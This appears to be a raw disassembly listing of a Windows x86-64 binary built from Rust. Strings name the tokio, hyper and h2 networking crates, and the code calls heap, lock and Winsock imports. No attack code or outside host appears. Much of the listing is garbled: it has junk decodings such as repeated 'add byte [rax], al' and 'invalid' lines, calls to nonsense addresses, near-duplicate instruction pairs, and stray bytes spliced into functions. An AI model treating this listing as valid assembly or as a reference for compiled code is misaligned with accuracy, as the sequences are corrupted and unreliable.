jmp case.0x1400f3f57.7
fsin
invalid
invalid
lea r12, [rbp + 0x8f0]
add rsi, r13
sub r14, r13
jne 0x1400f3eda
mov ecx, dword [rbp + 0xb68]
mov eax, ecx
and eax, 0xffffff00
movzx ecx, cl
mov dword [rbp + 0xb7c], 0
mov r9d, dword [rbp + 0xb88]
mov r11d, dword [rbp + 0xb48]
mov esi, dword [rbp + 0xbb0]
mov r14d, dword [rbp + 0xb98]
jmp 0x1400f44fc
mov qword [rbp + 0xa78], r8
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400f4294
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400f687e
mov qword [0x140215360], rax
mov r8d, 0x28
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400f687e
mov r8, qword [rbp + 0xa78]
mov r9, r8
shr r9, 5
lea rcx, [r9 + r15]
mov rdx, rsi
sub rdx, r9
add r9, r14
shr r8d, 2
and r8d, 7
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], 2
mov qword [rbp + 0x8d8], rax
test al, 1
je 0x1400f4305
cmp rax, 0xfffffffffffffee0
jae 0x1400f4832
mov r8, rax
jmp 0x1400f48b9
pxor xmm0, xmm0
xor r9d, r9d
xor r11d, r11d
xor edx, edx
xor r10d, r10d
mov qword [rbp + 0xb90], rax
xor eax, eax
mov qword [rbp + 0xba0], rax
mov dword [rbp + 0xbc4], 0
mov dword [rbp + 0xb7c], 0
xor ecx, ecx
xor eax, eax
or ecx, eax
mov qword [rbp + 0xb88], rcx
shl r10, 0x20
mov eax, r14d
or rax, r10
mov qword [rbp + 0xb98], rax
shl rdx, 0x20
mov eax, r8d
or rax, rdx
mov qword [rbp + 0xbb0], rax
movzx eax, byte [rbp + 0x8ea]
mov byte [rbp + 0xb7a], al
movzx eax, word [rbp + 0x8e8]
mov word [rbp + 0xb78], ax
mov al, 1
mov dword [rbp + 0xb80], eax
mov r13b, 4
mov eax, r11d
mov qword [rbp + 0xba8], rax
mov dword [rbp + 0xa88], esi
mov dword [rbp + 0xb64], eax
mov dword [rbp + 0xb60], eax
mov dword [rbp + 0xab4], r9d
mov qword [rbp + 0xab8], rax
movdqa xmm10, xmm0
jmp 0x1400f467d
shl esi, 5
mov r13d, dword [rbp + 0xbc4]
and r13d, 9
or r13d, esi
or r13d, r14d
mov dword [rbp + 0xbc4], r13d
mov rax, rcx
mov qword [rbp + 0xb90], rcx
shr rcx, 0x20
mov qword [rbp + 0xba0], rcx
xor r13d, r13d
mov dword [rbp + 0xb7c], eax
mov dword [rbp + 0xb64], eax
mov dword [rbp + 0xb60], eax
mov qword [rbp + 0xab8], rax
mov dword [rbp + 0xb80], 0
movzx eax, byte [rbp + 0xb7a]
mov byte [rbp + 0xa8e], al
movzx eax, word [rbp + 0xb78]
mov word [rbp + 0xa8c], ax
mov r8d, 0xd8
lea rcx, [rbp + 0x4c0]
lea rdx, [rbp + 0x280]
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rbp + 0xb58]
mov word [rbp + 0xa90], ax
movzx eax, byte [rbp + 0xb5a]
mov byte [rbp + 0xa92], al
movzx eax, word [rbp + 0xb5c]
mov word [rbp + 0xa94], ax
movzx eax, byte [rbp + 0xb5e]
mov byte [rbp + 0xa96], al
mov rdx, qword [rbp + 0xa30]
cmp rdx, 2
je 0x1400f4798
mov rax, r14
sub rax, 9
mov r15d, 0
cmovae r15, rax
mov eax, 9
cmovae r14, rax
mov qword [rbp + 0x8d0], 9
mov qword [rbp + 0x8c8], r14
mov r14, qword [rbp + 0x898]
test r14b, 1
jne 0x1400f491f
lock dec qword [r14 + 0x20]
jne 0x1400f4956
mov qword [rbp + 0xa78], r8
mov rax, qword [r14 + 0x20]
cmp qword [r14 + 8], 0
je 0x1400f493d
shr r14, 5
neg r14
cmp qword [rbp + 0x890], r14
je 0x1400f4956
mov qword [rbp + 0xa78], r8
add r14, qword [rbp + 0x880]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbp + 0xa78]
mov rax, qword [rbp + 0x730]
add rax, 0xfffffffffffffff7
add rsi, 9
mov qword [rbp + 0x880], rsi
mov qword [rbp + 0x888], r15
mov qword [rbp + 0x890], rax
mov qword [rbp + 0x898], r8
lea rcx, [rbp + 0x768]
lea rdx, [rbp + 0x880]
mov r8, r13
mov r9, qword [rbp + 0x740]
call fcn.140069aa0
cmp al, 0x15
jne 0x1400f4b14
mov rdx, qword [rbp + 0xa30]
cmp rdx, 2
mov r15, qword [rbp + 0xbb8]
mov qword [rbp + 0xb88], rsi
je 0x1400f2b3c
mov rcx, qword [rbp + 0xa38]
mov rax, qword [rbp + 0xa40]
test rdx, rdx
mov ebx, r9d
je 0x1400f4c78
mov dword [rbp + 0xb74], 0
mov cl, 1
lea rax, [0x1401d3af8]
mov qword [rbp + 0xbb0], rax
xor eax, eax
mov qword [rbp + 0xb90], rax
xor eax, eax
mov qword [rbp + 0xba0], rax
xor r13d, r13d
mov dword [rbp + 0xbc4], 0
lea rax, [0x140204680]
mov qword [rbp + 0xb98], rax
mov eax, 1
mov qword [rbp + 0xba8], rax
jmp 0x1400f4dee
mov dword [rbp + 0xb74], 0
mov cl, 1
lea rax, [0x1401d3af8]
mov qword [rbp + 0xbb0], rax
xor eax, eax
mov qword [rbp + 0xb90], rax
xor eax, eax
mov qword [rbp + 0xba0], rax
xor r13d, r13d
mov dword [rbp + 0xbc4], 0
lea rax, [0x140204680]
mov qword [rbp + 0xb98], rax
lea r12, [rbp + 0x8f0]
mov r15, qword [rbp + 0xbb8]
mov r9b, 0xa
jmp 0x1400f2b35
mov al, 1
cmp byte [rdi + 0x1b0], 0
jne 0x1400f4feb
mov byte [rdi + 0x1b0], al
mov byte [rdi + 0x1b1], 1
cmp byte [rdi + 0x1b2], 0
jne 0x1400f4fb0
test al, al
jne 0x1400f1bf9
mov rcx, r13
mov rdx, rdi
mov r8, r15
call fcn.14014eb50
cmp qword [rbp + 0x8e8], 0
mov rsi, qword [rbp + 0x8f0]
jne 0x1400f52b0
mov r14, qword [rbp + 0x8f8]
movdqu xmm0, xmmword [r12 + 0x10]
movdqa xmmword [rbp + 0x760], xmm0
test rsi, rsi
jne case.0x1400e8a72.33
mov byte [rdi + 0x1b1], 0
mov rbx, qword [rdi + 0x198]
cmp qword [rdi + 0x1a0], rbx
jne 0x1400f4eae
mov edx, 1
mov rcx, r15
call fcn.1400175d0
mov rbx, qword [rdi + 0x198]
cmp rbx, 0xffffffffffffffff
je 0x1400f4e10
mov rsi, qword [rdi + 0x178]
mov r14, qword [rdi + 0x180]
mov rax, qword [rbp + 0x8b0]
mov rax, qword [rax]
cmp rax, rbx
jne 0x1400f4ef0
xor eax, eax
jmp 0x1400f4e1f
mov word [rdi + 0x1b1], 0
mov r13b, 0xa
mov rdx, qword [rbp + 0x670]
cmp rdx, 2
je 0x1400f5510
jmp 0x1400f5469
mov r13b, 0xb
mov rdx, qword [rbp + 0x670]
cmp rdx, 2
je 0x1400f5510
jmp 0x1400f5469
mov r13b, 0xa
mov rdx, qword [rbp + 0x670]
cmp rdx, 2
je 0x1400f5510
jmp 0x1400f5469
cmp qword [rdi + 0x198], 0
je 0x1400f5c97
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400f51bf
mov byte [rdi + 0x1b2], 1
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x1400f5380
mov rcx, qword [rbp + 0x678]
mov rax, qword [rbp + 0x680]
test rdx, rdx
je 0x1400f548e
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rbp + 0x688]
call qword [rax + 0x68]
mov rdx, qword [rbp + 0x670]
cmp rdx, 2
je 0x1400f5510
mov rcx, qword [rbp + 0x678]
mov rax, qword [rbp + 0x680]
test rdx, rdx
je 0x1400f54ca
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rbp + 0x688]
call qword [rax + 0x80]
mov rax, qword [rbp + 0x670]
cmp rax, 2
je 0x1400f5510
mov al, 9
cmp r13b, 0xa
je 0x1400f5662
mov byte [rdi + 0x1b1], 0
mov r13b, 0xa
mov rdx, qword [rbp + 0x670]
cmp rdx, 2
je 0x1400f5510
lea r8, [0x1401a8d58]
mov ecx, 1
mov edx, 1
call fcn.140160ed0
ud2
lea r8, [0x1401a8d70]
mov ecx, 2
mov edx, 2
call fcn.140160ed0
ud2
lea r8, [0x1401a8d70]
mov ecx, 3
mov edx, 3
call fcn.140160ed0
ud2
lea r8, [0x1401a8d70]
mov ecx, 4
mov edx, 4
call fcn.140160ed0
ud2
lea r8, [0x1401a8d70]
mov ecx, 5
mov edx, 5
call fcn.140160ed0
ud2
lea rax, [rbp + 0x4c0]
mov qword [rbp + 0x760], rax
lea rax, [fcn.140058ea0]
mov qword [rbp + 0x768], rax
mov rcx, qword [rbp + 0x8b0]
mov qword [rbp + 0x770], rcx
mov qword [rbp + 0x778], rax
mov qword [rsp + 0x20], 2
lea rdx, str.new_len____capacity_
lea rsi, [rbp + 0x8e8]
lea r9, [rbp + 0x760]
mov r8d, 2
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov rcx, rsi
call fcn.140160e20
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcio_read_buf.rs
call fcn.140160f40
ud2
mov qword [rbp + 0x8e8], 0
lea rcx, [rbp + 0x3a0]
lea rdx, [rbp + 0x4c0]
lea r8, [rbp + 0x8e8]
call fcn.140165370
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_src_framehead.rs
mov ecx, 5
mov rdx, r14
call fcn.140160e60
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_src_frame_stream_id.rs
mov ecx, 4
call fcn.140160f40
ud2
lea rcx, str.invalid_pong_frame
jmp 0x1400f65c6
or ecx, dword [rax + 0x8e885]
add byte [rax - 0x73], cl
add eax, 0xde14a
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_settings_frame
lea r9, [0x1401d4b78]
lea r8, [rbp + 0x8e8]
mov edx, reloc.WS2_32.dll_shutdown
call fcn.140161200
ud2
lea r8, [0x140195c38]
mov ecx, 9
mov rdx, r14
call fcn.140160e60
ud2
lea r8, [0x140195c20]
mov ecx, 9
mov rdx, r14
call fcn.140160e60
ud2
lea r8, [0x140195c80]
mov ecx, 9
mov rdx, r14
call fcn.140160e60
ud2
lea r8, [0x140195c68]
mov ecx, 9
mov rdx, r14
call fcn.140160e60
ud2
lea r8, [0x140195c50]
mov ecx, 9
mov rdx, r14
call fcn.140160e60
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
lea r9, [0x1401d4b78]
lea r8, [rbp + 0x8e8]
mov edx, setsockopt
call fcn.140161200
ud2
lea r8, [0x140195c08]
mov ecx, 9
mov rdx, r14
call fcn.140160e60
ud2
mov qword [rbp + 0xb00], rdx
lea rax, [rbp + 0x6d8]
mov qword [rbp + 0x760], rax
lea rax, [0x140144ae0]
mov qword [rbp + 0x768], rax
mov dword [rbp + 0x768], eax
lea rcx, [rbp + 0xb00]
mov qword [rbp + 0x770], rcx
mov qword [rbp + 0x778], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rbp + 0x8e8], rax
mov qword [rbp + 0x8f0], 2
mov qword [rbp + 0x908], 0
lea rax, [rbp + 0x760]
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x8f8], rax
mov qword [rbp + 0x900], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
lea rcx, [rbp + 0x8e8]
call fcn.140160e20
ud2
test ecx, ecx
je 0x1400f66a0
movq xmm0, qword [rcx + 8]
jmp 0x1400f66ef
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
pshufd xmm0, xmm0, 0xe1
movq qword [rbp + 0x3a0], xmm0
lea rax, [rbp + 0x3a4]
mov qword [rbp + 0x760], rax
lea rax, [0x14006a5f0]
mov qword [rbp + 0x768], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x8e8], rax
mov qword [rbp + 0x8f0], 1
mov qword [rbp + 0x908], 0
lea rax, [rbp + 0x760]
mov qword [rbp + 0x8f8], rax
mov qword [rbp + 0x900], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rbp + 0x8e8]
call fcn.140160e20
ud2
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x73392
lea rcx, [rbp + 0x8e8]
call fcn.140160e20
ud2
mov qword [rbp + 0xad0], r15
lea rax, [rbp + 0x6d8]
mov qword [rbp + 0xb00], rax
lea rax, [0x140144ae0]
mov qword [rbp + 0xb08], rax
lea rcx, [rbp + 0xad0]
mov qword [rbp + 0xb10], rcx
mov qword [rbp + 0xb18], rax
lea rax, str.split_off_out_of_bounds:
mov qword [rbp + 0x8e8], rax
mov qword [rbp + 0x8f0], 2
mov qword [rbp + 0x908], 0
lea rax, [rbp + 0xb00]
mov qword [rbp + 0x8f8], rax
mov qword [rbp + 0x900], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rbp + 0x8e8]
call fcn.140160e20
ud2
mov ecx, 8
mov edx, 0x28
call fcn.14015d7f0
ud2
lea rax, [rbp + 0xad0]
mov qword [rbp + 0xb00], rax
lea rax, [fcn.140058ea0]
mov qword [rbp + 0xb08], rax
lea rcx, [rbp + 0x890]
mov qword [rbp + 0xb10], rcx
mov qword [rbp + 0xb18], rax
lea rax, str.new_len____capacity_
mov qword [rbp + 0x8e8], rax
mov qword [rbp + 0x8f0], 2
mov qword [rbp + 0x908], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test dword [rax], eax
or eax, dword [rax]
add byte [rax - 0x77], cl
test eax, edi
or byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
or dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xe0e4c
lea rcx, [rbp + 0x8e8]
call fcn.140160e20
ud2
lea r8, [0x140195c98]
mov ecx, 9
mov rdx, r14
call fcn.140160e60
ud2
call fcn.14015dad0
ud2
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x30], xmm10
movaps xmmword [rsp + 0x40], xmm9
movaps xmmword [rsp + 0x50], xmm8
movdqa xmmword [rsp + 0x60], xmm7
movaps xmmword [rsp + 0x70], xmm6
lea rdx, fcn.140022090
mov rcx, qword [rbp + 0xac8]
call fcn.1401372e0
movaps xmm6, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm9, xmmword [rsp + 0x40]
movaps xmm10, xmmword [rsp + 0x30]
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp qword [rsi + 0x200], r14
jbe 0x1400f6de0
mov rcx, qword [rsi + 0x1f0]
test rcx, rcx
je 0x1400f6de0
mov rdx, r14
shl rdx, 4
mov eax, dword [rcx + rdx + 8]
mov ecx, dword [rcx + rdx + 0xc]
mov rdx, qword [rsp + 0xa0]
mov edx, dword [rsp + 0xa0]
mov edx, dword [rsp + 0xa0]
mov qword [rsp + 0xa8], rdx
mov dword [rsp + 0xb0], ecx
mov dword [rsp + 0xb4], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x3c], eax
cmp qword [rsi + 0x1b8], rcx
jbe 0x1400f6d1a
mov rdx, qword [rsi + 0x1a8]
test rdx, rdx
je 0x1400f6d1a
imul r8, rcx, 0x130
cmp dword [rdx + r8], 2
je 0x1400f6d1a
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x1400f6d1a
mov r8d, dword [rdx + 0x48]
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x3c], eax
cmp dword [rdx], 2
je 0x1400f6d7d
cmp dword [rdx + 0x114], eax
jne 0x1400f6d7d
cmp r8d, 0x3b9aca00
setne bpl
mov rcx, qword [rsp + 0x88]
call fcn.140075470
mov rcx, r13
mov rdx, r12
mov r8, rdi
call fcn.1400de7e0
mov rcx, r13
mov rdx, rdi
mov r8, r15
call fcn.1400717b0
idiv edi
idiv edi
mov rcx, r15
mov rdx, rdi
mov r8d, ebp
call fcn.14006f170
mov rax, qword [rsi + 0x1e8]
cmp rax, rbx
sbb r14, 0xffffffffffffffff
cmp rax, rbx
sbb rbx, 0
cmp r14, rbx
jb 0x1400f6a80
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rdi, [rsi + 0x128]
movzx eax, byte [rsi + 0x128]
cmp rax, 3
cmp eax, 3
mov ebx, dword [rsp + 0x84]
je 0x1400f6c1e
test rax, rax
je 0x1400f6c1e
cmp eax, 1
jne 0x1400f6bf9
lea rcx, [rsi + 0x148]
mov rax, qword [rsi + 0x130]
mov rdx, qword [rsi + 0x138]
mov r8, qword [rsi + 0x140]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400f6c1e
mov r8, qword [rsi + 0x130]
test r8, r8
je 0x1400f6c1e
cmp qword [rsi + 0x138], 0
je 0x1400f6c1e
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0x20], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
cmp byte [rsp + 0x34], 0
mov rdi, qword [rsp + 0x78]
jne 0x1400f6c57
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400f6cee
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test bl, bl
jne 0x1400f6c77
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400f6d04
mov rcx, rsi
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
call fcn.1401666c0
test al, al
jne 0x1400f6c57
mov byte [rdi + 8], 1
jmp 0x1400f6c57
call fcn.1401666c0
test al, al
jne 0x1400f6c77
mov byte [rsi + 8], 1
jmp 0x1400f6c77
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x90], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x98], rax
add byte [rax - 0x73], cl
add eax, 0xb184b
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140160e20
ud2
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x90], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x98], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140160e20
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
ror byte [0x1403b27f1], 1
add byte [rax], al
call fcn.140160fb0
ud2
push 0x24848b4c
mov byte [rax], al
add byte [rax], al
cmp r8, 2
je 0x1400f8501
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x90]
add byte [rax], al
mov rax, qword [rsp + 0x98]
test r8, r8
je 0x1400f84c5
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x88]
cmp rax, 2
je 0x1400f8501
invalid
test rax, rax
je 0x1400f8501
mov rax, qword [rsp + 0x90]
lock dec qword [rax]
jne 0x1400f8501
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
call fcn.140069a20
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add al, ch
invalid
xor eax, eax
mov edx, 3
add rsp, 0xb0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov dword [rsp + 0x50], eax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
add byte [rax], al
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
jo 0x1400f8556
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xb0039
lea rcx, [rsp + 0x58]
pop rax
call fcn.140160e20
ud2
jns 0x1400f8595
idiv edi
mov qword [rsp + 0x50], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
js 0x1400f8597
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x48
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.140160e20
ud2
or byte [rax - 0x7d], cl
stc
or dword [rbp + 0x25], esi
add r14, 0x20
mov rcx, r14
xor edx, edx
call fcn.1400ef810
test al, al
jne 0x1400fb308
movabs rax, 0x300000000
jmp 0x1400fb04c
mov rax, r8
lea rdx, [0x14020a9dc]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rcx, qword [rax + 0x28]
mov qword [rsp + 0x480], rcx
movdqu xmm0, xmmword [rax + 8]
movdqu xmm1, xmmword [rax + 0x18]
movdqa xmmword [rsp + 0x470], xmm1
movdqa xmmword [rsp + 0x460], xmm0
mov rdi, qword [r14 + 0x20]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
int 0x11
invalid
shl rax, 1
test rax, rax
jne 0x1400fa2e1
mov dword [rsp + 0x40], 0
movzx eax, byte [rdi + 8]
test al, al
jne 0x1400fa2f8
add byte [rax], al
add byte [rdi], cl
mov dh, 0x47
or byte [rax + rax*8 + 0x1c81850f], al
add byte [rax], al
lea rax, [rdi + 0x10]
lea eax, [rdi + 0x10]
mov qword [rsp + 0x38], rax
movzx esi, byte [r14 + 0x30]
mov ebp, dword [rsp + 0x480]
and al, 0x80
add al, 0
invalid
add byte [rax + rax], 0
cmp qword [rdi + 0x1e8], 0
je 0x1400f942f
add byte [rax], al
mov r14, qword [r14 + 0x28]
lea rbx, [rdi + 0x1a8]
mov rcx, qword [rdi + 0x208]
mov rdx, qword [rdi + 0x210]
mov r8d, ebp
call fcn.14006fa80
jae 0x1400f86b1
dec dword [rbx + rcx*4 - 0x79]
lock add dword [rax], eax
add byte [rax], al
mov rdx, qword [rdi + 0x200]
mov r9, qword [rdi + 0x1d0]
add byte [rbx + rcx*4 - 0x71], cl
rol byte [rcx], 1
add byte [rax], al
mov r10, qword [rdi + 0x1d8]
mov rcx, rax
shr rcx, 0x39
shr ecx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r11d, r11d
pcmpeqd xmm1, xmm1
and rax, r10
movdqu xmm2, xmmword [r9 + rax]
movdqa xmm3, xmm0
pcmpeqb xmm3, xmm2
pmovmskb r15d, xmm3
nop dword [rax]
test r15w, r15w
je case.0x1400e7c4b.105
tzcnt ecx, r15d
add rcx, rax
and rcx, r10
shl rcx, 3
add ecx, dword [rbp - 0x77]
int3
sub r12, rcx
mov rcx, qword [r12 - 8]
cmp rdx, rcx
jbe 0x1400fa4d4
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x1400f942f
add rax, 8
lea rcx, [rsp + 0x460]
mov r8d, 0x118
add dword [rax], eax
add byte [rax - 0x77], cl
ret 0xe1e8
invalid
invalid
add byte [rcx - 0x75], cl
jle 0x1400f87ae
add dword [rax], eax
add byte [rax - 0x77], cl
ret 0xe1e8
jle 0x1400f87ae
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa317
xor ebx, ebx
movzx eax, byte [rdi + 8]
test al, al
jne 0x1400fa32d
or byte [r8 + r8*8 + 0x1b75850f], r8b
add byte [rax], al
mov ebp, dword [rsp + 0x570]
mov sil, 3
cmp ebp, dword [rdi + 0xa8]
mov qword [rsp + 0x48], r13
ja 0x1400f93bb
invalid
mov dword [rsp + 0x40], ebx
lea rax, [rdi + 0x10]
mov qword [rsp + 0x68], rax
movzx eax, byte [r14 + 0x30]
mov byte [rsp + 0xa0], al
push 0x46b60f41
xor byte [rax + 0xa02484], cl
add byte [rax], al
mov rax, qword [r14 + 0x28]
mov qword [rsp + 0x50], rax
sub byte [rax - 0x77], cl
and al, 0x50
lea rax, [rdi + 0x1a8]
test al, 1
add byte [rax], al
mov qword [rsp + 0x38], rax
and al, 0x38
lea r15, [rdi + 0x1d0]
mov rcx, qword [rdi + 0x208]
invalid
or byte [rdx], al
add byte [rax], al
add byte [rax], al
mov rdx, qword [rdi + 0x210]
adc byte [rdx], al
add byte [rax], al
mov r8d, ebp
call fcn.14006fa80
mov rbx, rax
mov ebx, eax
mov r9, qword [rdi + 0x1f0]
call 0x13781eb05
dec dword [rax - 0x77]
mov ebx, eax
mov rdx, qword [rdi + 0x200]
mov r14, qword [rdi + 0x1d0]
mov r10, qword [rdi + 0x1d8]
xchg edi, eax
fadd dword [rcx]
add byte [rax], al
xchg edi, eax
fadd dword [rcx]
add byte [rax], al
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
sal dl, 0xf
jo 0x1400f880d
add byte [rsi + 0xf], ah
jo 0x1400f8812
add byte [rbp + 0x31], al
invalid
pcmpeqd xmm1, xmm1
jbe 0x1400f8823
mov rax, rbx
call 0x1ae1eee7d
shl byte [rsi + 0xf], 0x60
sal dl, 0xf
jo 0x1400f880d
add byte [rsi + 0xf], ah
jo 0x1400f8812
add byte [rbp + 0x31], al
invalid
and rax, r10
movdqu xmm2, xmmword [r14 + rax]
movdqa xmm3, xmm0
outsd dx, dword [rsi]
fsub dword [rsi + 0xf]
je case.0x1400e91e9.57
pmovmskb r12d, xmm3
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
test r12w, r12w
je 0x1400f88c7
tzcnt r13d, r12d
add r13, rax
and r13, r10
lea rcx, [r13*8]
mov r8, r14
invalid
sub r8, rcx
mov rcx, qword [r8 - 8]
cmp rdx, rcx
jbe 0x1400fa4d4
lea r8d, [r12 - 1]
and r8d, r12d
shl rcx, 4
mov r12d, r8d
cmp dword [r9 + rcx + 8], ebp
jne 0x1400f8880
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
jne 0x1400fa856
invalid
add byte [rax], al
invalid
add byte [rcx + rax - 0x28], cl
add rax, r11
add rax, 0x10
add r11, 0x10
jmp 0x1400f885d
movq qword [r13 + 0x24], mm2
movdqu xmmword [r13 + 0x14], xmm1
movdqu xmmword [r13 + 4], xmm0
mov dword [r13], 0
jmp 0x1400fb050
adc eax, 0x6f701
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400fa348
xor r15d, r15d
mov qword [rsp + 0x48], r13
movzx eax, byte [rdi + 8]
test al, al
jne 0x1400fa365
neg dword [rcx]
add byte [rax], al
cmp qword [rdi + 0x1e8], 0
add dword [rax], eax
add byte [rax], al
je 0x1400f9443
lea r13, [rdi + 0x10]
